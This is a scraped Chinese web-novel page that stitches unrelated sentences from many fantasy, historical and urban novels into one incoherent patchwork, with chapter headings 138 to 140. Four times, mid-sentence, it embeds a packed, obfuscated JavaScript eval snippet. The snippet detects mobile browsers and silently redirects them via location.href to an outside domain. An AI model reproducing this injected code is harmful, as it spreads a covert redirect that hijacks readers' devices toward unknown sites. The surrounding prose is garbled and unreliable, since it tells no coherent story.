这显然说明我们之前所谓找到的松树并不是真正的松树,也不知道是机缘巧合还是撤离此处的守灵族留的记号。 自从得到这个技能后,李戴还从来没有使用过。李戴一直觉得这是体操一类的运动项目,才会使用到的技能。 只可惜,他沉睡万年太过虚弱,刚苏醒不久又不得不得沉沉睡去,否则能找这个万年前的“古人”来问一问,很多事情就能迎刃而解了。 爬山也可以算做是体能训练的一种,这项运动对于身体的有利因素是多方面的。它既是一项有氧运动,又有力量和耐力的练习成分。 风无恨猛然将桌子掀翻,桌面直接砸向侯方域,侯公子身手倒也矫健,一跳就躲开了,但是满桌子的汤汤水水溅了他一身,刹是狼狈。 洗髓灵果此物非常神妙,功效非凡众所周知,所以把它放在遗迹中心,即算是奖励,也算是彩头。 我们已经坐实了这个能哥是个冒牌货。他肯定知道真的能哥在那里。 他只需要一句话,所有势力便来剿灭青山宗,而且是正义之师,他们青山宗将会成为叛徒,怎么死的都不知道。 血腥气越来越浓烈了——我脑子里飘飘忽忽的,异常兴奋,来吧,你们都来吧。 杨妍说道这里,突然间就奇怪的停住,不再说话,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702563|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于表情都在这一刻凝固。 在尼斯城修整两天之后,补足了战损和补给,汇集了第一近卫军团、第二和第四事军团、第五军团和北欧卫队等共五万大军之后,随即便在热那亚人的指引下向米兰进军。 虽然还没有什么确切有效的方法,但何泓珊的心情已经好了不少,她拿着手机刷了会新闻,又想了想今天遭遇的情况,对于业内生存状况再一次有了不一样的认知。 随着陆游与穆焱的到场,形势再次发生了一丝微妙的变化,杨诩四人也不去欺负那几位幸运者,转而盯上了陆游,穆焱他们招惹不起,但陆游怎能让他好过? 大执事暗骂一句,明明大家都是人类,为什么大地钢熊就是不理破军,总是追着他来要打要杀的。 许久后,一道明净如琉璃的巨大剑影凭空出现,进入了包裹她的剑气当中,紧接着,一道光幕瞬间闪现,笼罩了她所处的位置。 “我说冰云呐,你我已经绕着黑牢走了几圈了,难道你不累不饿不想下线吗?反正我是累了,想下线歇会。”严云星打了一个哈欠,慢悠悠的说道。 3200里路而已,不就是走路嘛!很难吗?无论是土匪还是民夫,已经习惯于劳苦生活的他们几乎没人把这太当回事儿。 那位光头校长显然又动了千里运筹帷幄的心思。可是,他不亲临战场,那里又能知道,如果他不追,第八师团就会随时获得新的补给重新变成一条饿狼冲上来狠狠地咬上长城团一口。 rg。rg 第138章 但凡近前,全部斩杀! 一彪快骑直冲高太尉本寨大营,大营门口,有那寨门,寨门倒是开的,但门口有拒马。 还有卫兵不少,也挡在拒马头前,显然,此时此刻,这里,还是殿前司太尉高俅的本寨,不是一般人等能随意进出之地。 有那拒马,苏武自然也不可能打马冲进去,便是到得营门口勒马。 苏武手提马鞭,抬鞭一指“速速把拒马 “当然,我们肯定能出去的!”克鲁兹自信满满的说道,不过就在这时候,一阵阵阴冷的凉风吹过,怎么回事?地下怎么会有这种冷风?还没等克鲁兹想明白,一连串似有似无的哭声从远处传了过来。 “要是我早点来的话,也许你的爸爸就不会死了!”李亚林的声音越来越低沉,不过随后李亚林又拿起了衣服架上的一件衣服,铺在了眼前爱丽丝父亲的遗体之上。 将范伟和几位还未受伤的混混们铐起手铐推进车后,两辆警车先在车道上转弯,然后便扬长而去,只留下一辆车的几名警察在这里做善后处理。 云萧心里讶异,巴鲁图难道被抓走了?忽然云萧想起白天巴鲁图说过的话,西藏目前只有不超过五个法王,而他正是其一。 云霄曾经说过,以黄蓉的资质,要练成云海纳真诀至少需要十年时间,黄蓉心有不服,练起功来比平常勤奋许多。 而修特的下一句话,却是顿时让她流转在眼眶中的泪水倾盆而下。 以蒋飞对于叶媛媛的了解,这位姑奶奶不是一个没事会唠嗑家长里短的人。就算再久的时间不见,要是没有正经事,她都不会特意过来看望你。 那是一个星期天,菈菈和李亚林来到了结城才培的工作室参观,不过当时正值截稿期间,结城才培犹如鬼上身一般的画技让人叹为观止,不过看看工作室的助手们,这差距也未免太大了一点,完全跟不上结城才培的速度。 “龙帝,我们也来了!”魔君这个时候也通过传送阵,亲自率领了数万精锐过来。 培诚不仅继承了石矶大仙的衣钵。更继承了他太乙金仙级别的混沌元气。就算无法完全制。但只要能控制一部分也是寻常大罗金仙可以相比的。自是不血冥教祖。 “赵律师,您详细的说一下您的要求吗?还有福利待遇。”伍芯芯听赵律师说得这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702564|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几句话,觉得对方还可以。 胡雪珅深吸一口凉气,旋即有些惆怅,那这罗羽魔君布置的庆功宴……该如何收场? 沉默的落地声在寂静无垠的晚间显得格外刺耳,一个黑黢黢的影子暴露在眼前,随后便是气急败坏的谩骂声。 现在他辛苦谋划的计划终于成功,成功收走了谷峰的攻击法器寒冰锥,这场战斗也该结束了。 朱雀神炎将其体内的一切水分、精气、和识念,焚烧得十不存一。 林亦凡立刻打电话吩咐护士,重新给夏疏影换掉她吐脏的床单和被子。接着就去了古天成的办公室拿了一套衣服,递给了夏疏影。 白贵听到寇四的名字,挑了挑眉。还真的是有缘,想不到在这里碰见了寇四。 林思琪愣了片刻,她着实没想到如今的温言如此的无情,原来的她可不是这样的。 但就在这时,一道寒光忽然从它咬中的猎物体内激射而出,瞬间刺穿了它的上颚。 只听见“滋滋”两声轻响,一举成功。慕风啸只觉得全身筋骨一松,随即恢复自由。 rg。rg 第139章 饶我一命,便是荣华富……(感谢暮夜清溪一叶舟的十万赏!) 遣军,王焕等人也开始回来了,绕了半个八百里水泊而回,济州张相公发了粮草,遣散而去,这些人倒是不需要路条,成建制归去就是。 同时,连京畿禁军也已经遣散回原籍之处,周昂等人已然带兵出发。 临近中午,一艘小船到了济州码头之上,高太尉回来了。 只看得大营在拆,军帐都正在装车,那水泊岸边满眼 “我军背水一战,想要活命,唯有死战破敌!打退敌军……”郭援在阵中来回奔走,高声鼓舞,作最后的士气动员。 “宿主不要忘了,对你们现代的人来说,超古代就是一个犹如神话传说一般的时代!”“曙光”郑重其事地说道。 “再十数,我们就停手!”棋魂咬牙下了决心。其实他比另外二魂更加着急,眼看着主人已经坚持不住,他还是狠下心来。 “既然这样,那我也厚着脸皮麻烦你一下了。”就连楚凌风都红着一张老脸求他。 眼睛虽然还没有睁开,但是气息比之前好了许多,诸多伤势也在逐渐的恢复。 “你传达给我的并不是咚咚的声音,怎么觉得那么难听?!”嫣嫣从灵魂传达给龙阳的,是晦涩难懂的声音,不但听不懂,而且忒难听。 玉瓶之中装的全都是五、六品的毒丹,其中有一颗是古皇燃神丹。这毒丹,他一共从太轩古家手中得到两颗,其中的一颗在进阶毒皇的时候服用了,另外一颗一直保留着。 由于清晨时分人烟稀少,想要找到合适的宿主有些不容易,四娃胡四美与五娃胡五福耽搁了太多时间,灵力损耗过多,附体了萧妍与林冬两个幸运儿后,便一直处于沉睡状态。 背上负着短兵武器,腰间悬挂着箭囊,双手撑开长弓,箭已在铉上,没有马匹,悄声无息似已经等待多时,就潜伏在这附近等待着他们。 沮授这投石机和吕布送去官渡支援曹操的霹雳车差别不大,都是模仿刘晔研究出的霹雳车山寨货。吕布这是作茧自缚,般起石头砸自己的脚。 听到“五彩瘴气”四个字,阳云汉和上官碧霄脸上也是色变。原来这山洞内非虹非霞,香气逼人的雾气竟然就是传说中的“五彩瘴气”。 狄斐大喜,这风梦儿终于撑不住了,看着师尊落下秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702565|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪立刻飞到半空叫风梦儿接住,大狗也化为人形,狄斐落在地上看着风梦儿道:“风梦儿你可想过有今日,识相的话赶紧将烟雨洛神诀交出来”。 时间仿佛在瞬间停止了转动,众人没想到,就在这胜负将分之时,齐峰竟还能扭转局面,且生生的击退雪人,这着实出乎了众人的意料。 众人皆不知道“定江山”卓笑天自上一次泰山论道后,就在仔细思索击败其它三人的方法。于是开始潜心苦练左手剑法,并又自创出一式新剑法。 毕安陌虽然笑容满面,可也就差把‘幸灾乐祸’四个大字写在脸上。 那庞大的身躯,一身肥肉好似波浪一样前后上下翻滚,他不断扫视四面八方想要寻找什么,但最终却是一无所获。 龙洛道:“那是前辈教得好”,朱雀圣尊道:“那是自然,虽然我这个样子跟巅峰之时根本不能比,但指点一位神帝还是绰绰有余的”。龙洛道:“那舍妹就麻烦圣尊了”。 虽然她跟乔覃相认的时间不长,但人非草木,乔覃对她的关心和为她做的那些事情她全都记在心里。 rg。rg 第140章 苏郎再来可要怜惜…… 大宋东京汴梁城。 广阔红墙高高,围得几座高台之上黛瓦一片。 垂拱殿上,今日并无朝会,但皇帝依旧焦急到此,大殿之上,还有三人。 一人梁师成,此乃天子身边最亲近之宦官,天子身边大小事,一应在他手。 一人王黼,刚得相位不久,乃超晋八级拜相,其中门道自不用说,最早由蔡京一力提拔,慢慢 “……”原本是想轻松一点儿回答他这个问题的,但“好奇”两字都到了嘴边,却是怎么也说不出来。 而面对这种以己之短,攻彼所长的情况,这两大帝国又岂能胜利?海上的焦灼战,一直持续了半个多月,就算是两大帝国想要逃走,都被逍遥舰队死死的拖住,最终全部歼灭。 看佘广一脸凝重的模样,大家纷纷凑过头去,却是看到他的手腕上正刻着一个红色五角星的符号。 莎莉丝特在公司里打晕了保安的事儿,要不是对方的逼迫,她也不会这么做。 “你们刚刚下飞机,是先到客房休息一下,还是先去吃饭?”丛佳佳征询着由新凯等人的意见。 和因为喧闹导致动物变少了的前山不同,那些喧噪声在后山是一点都听不到了,因此后山的环境和周围的原始森林一样,各种动物蛇虫变得多了起来,琳娜行进的速度也变慢了许多。 华子易摇了摇头没有再追问下去,像他的家世背景,别说是现在武林没落的年代了,就是放在武术昌盛的时候,这习武之人在他眼中也是没有什么地位的。 圣剑骑士刚走开,眼前突然涌出一大堆侍卫,他们像是从天而降,事先竟听不到一点声息。为首一人摇摆着走来,正是凡妮莎的夫君。 等他进来的时候,蔚英的身上就已经包扎好了,看着蔚英心脏上面还依稀有着血液,李绍元都不知道应该怎么形容自己的心情。 “不用了不用了,我们只是来这里散个步,现在已经散完步了,这就准备离开。”黄旭东干笑道,脸上的表情颇为精彩。 你看,你看我肚子上的肉又多了一圈,你打算怎么补偿我!”蓝宁抱怨道。 “其他尸体坠亡时,会下意识挣扎翻滚,因此身躯大面积骨折,双手受损严重。唯独这具尸首,双手自然摊开,即便从高处坠亡,死前依旧表情平静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702566|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是……死者向我们传达的信息。”宋念看着秦掌柜的双眼,叹息一声。 “蜀青千丝”,顾名思义这是蜀地进贡的茶,制作工艺极其苛刻,选自蜀地高山清泉灌养的茶树,采摘不满一月的嫩茶叶,一片片的人工切成细细数缕,太阳自然晒干而得。 “哪个大厨不是从糟蹋食物开始的,你要对我有信心好不好!”凌风不以为然道。 “因为我了解你,你根本骗不了我的。说吧,你今天为什么要和他一起吃饭。”凌风的语气充满了不容拒绝。 突破成为顶级猛兽的牛魔王不但实力暴增了很多,体型也提升了一大截,一身毛发乌黑如墨,看着就让人察觉不凡。 所以宋安康决定重视每一次的奇遇,尽可能地从每一次的奇遇中获得最大的好处,这样的话就需要在启动奇遇之前,尽可能地把奇遇木印的等级提升上去。 他已经不对此抱有太大的信心了,估计莫浅锯会儿窗户就又放弃了。 直到看到龙渊国的繁盛和发达,夏雷才明白为什么低级的蛮荒部落里,会有那些精钢打造的兵器和铠甲。 rg。rg